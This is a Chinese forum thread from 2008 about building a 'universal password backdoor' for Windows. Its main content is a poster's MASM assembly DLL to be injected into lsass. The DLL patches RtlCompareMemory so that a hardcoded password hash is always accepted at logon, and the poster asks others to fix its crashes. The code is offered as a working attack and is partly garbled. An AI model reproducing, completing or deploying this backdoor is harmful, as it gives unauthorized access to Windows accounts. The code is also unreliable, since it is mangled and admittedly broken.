-
-
[原创]利用IAT hook实现windows通用密码后门
-
发表于: 2008-5-24 19:54
-
|
|
|---|---|
|
|
|
|
|
[QUOTE=hpxpj;458152]3 0 [ 0] msv1_0!LsaApLogonUserEx2
19 0 [ 1] msv1_0!_SEH_prolog eax = c7fc7c 315 19 [ 0] msv1_0!LsaApLogonUserEx2 269 0 [...[/QUOTE] 使用楼主发的胶片转换1下就可以了 
|
|
|
|
|
|
谢谢了
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
跑到这里来了
|
|
|
我写了一个asm版，不过注入后lsass就出现关闭框，不解，谁来完善一下呢？
 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;passdoor.asm msn:asm32@live.cn ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .486 .model flat, stdcall option casemap : none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> includelib kernel32.lib ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> GetModuleHandleA PROTO :DWORD GetProcAddress PROTO :DWORD,:DWORD VirtualQuery PROTO :DWORD,:DWORD,:DWORD VirtualProtect PROTO :DWORD,:DWORD,:DWORD,:DWORD VirtualAlloc PROTO :DWORD,:DWORD,:DWORD,:DWORD VirtualFree PROTO :DWORD,:DWORD,:DWORD FlushInstructionCache PROTO :DWORD,:DWORD,:DWORD GetCurrentProcess PROTO ExitProcess PROTO :DWORD MyRtlCompareMemory proto :DWORD,:DWORD,:DWORD CreateThread PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .const TIMER_FREQUENCY equ 1193167 ; 1,193,167 Hz OCTAVE equ 4 ; octave multiplier PITCH_F2 equ 698 TONE_30 equ TIMER_FREQUENCY/(PITCH_F2*OCTAVE) DLL_PROCESS_ATTACH equ 1 DLL_PROCESS_DETACH equ 0 TRUE equ 1 MEMORY_BASIC_INFORMATION_SIZE EQU 28 PAGE_READWRITE DD 04H PAGE_EXECUTE_READWRITE DD 040H MEM_COMMIT DD 01000H MEM_RELEASE DD 08000H ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data kernel_name DB "ntdll.dll",0 sleep_name DB "RtlCompareMemory",0 szPASSWD_HASH db 4Ch, 36h, 0C6h, 0CFh, 32h, 0CCh, 02h, 7Dh,0FFh, 98h, 88h, 2Bh, 42h, 0F6h, 0C7h, 22h ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data? old_protect DD ? hRtlCompareMemory dd ? HOutHash dd ? hInstance dd ? ThreadId DWORD ? ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code MyRtlCompareMemory proc InHash:DWORD ,BnHash:DWORD ,HashLength:DWORD push HashLength push BnHash push offset szPASSWD_HASH call hRtlCompareMemory .if (eax == 16)&&(HashLength == 16) ;是16 mov eax,16 ret .endif push HashLength push BnHash push InHash call hRtlCompareMemory mov HOutHash,eax mov eax,HOutHash ret MyRtlCompareMemory endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _IATHOOK proc do_hook: push offset kernel_name call GetModuleHandleA push offset sleep_name push eax Call GetProcAddress mov edi,eax ;finally got Sleep address push edi pop hRtlCompareMemory push PAGE_READWRITE push MEM_COMMIT push MEMORY_BASIC_INFORMATION_SIZE push 0 call VirtualAlloc test eax,eax mov esi,eax ;allocation for MBI push MEMORY_BASIC_INFORMATION_SIZE push esi push edi call VirtualQuery test eax,eax jz free_mem call GetCurrentProcess push 5 ;5 bytes push edi ;addr push eax ;is a pseudohandle to the current process. call FlushInstructionCache ;just to be sure lea eax,[esi+014h] push eax push PAGE_EXECUTE_READWRITE lea eax,[esi+0Ch] push [eax] push [esi] call VirtualProtect ;test eax,eax ;jz free_mem mov byte ptr[edi],0E9h ;to write relative jump mov eax,offset MyRtlCompareMemory inc eax sub eax,edi **b eax,5 inc edi stosd ;this is relative address for jump push offset old_protect lea eax,[esi+014h] push [eax] lea eax,[esi+0Ch] push [eax] push [esi] call VirtualProtect ;return back the protection of page free_mem: push MEM_RELEASE push 0 push esi call VirtualFree ;free memory ret _IATHOOK endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DLLEntry proc hInstDLL:DWORD, reason:DWORD, unused:DWORD .if reason == DLL_PROCESS_ATTACH;动态库被加载时调用,返回0加载失败! mov eax,hInstDLL mov hInstance,eax ;invoke CreateThread,0,0,addr _IATHOOK,0,0,addr ThreadId call _IATHOOK .elseif reason == DLL_PROCESS_DETACH ;添加处理代码 .endif mov eax,TRUE ret DLLEntry Endp end DLLEntry |
|
|
 顶上去
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
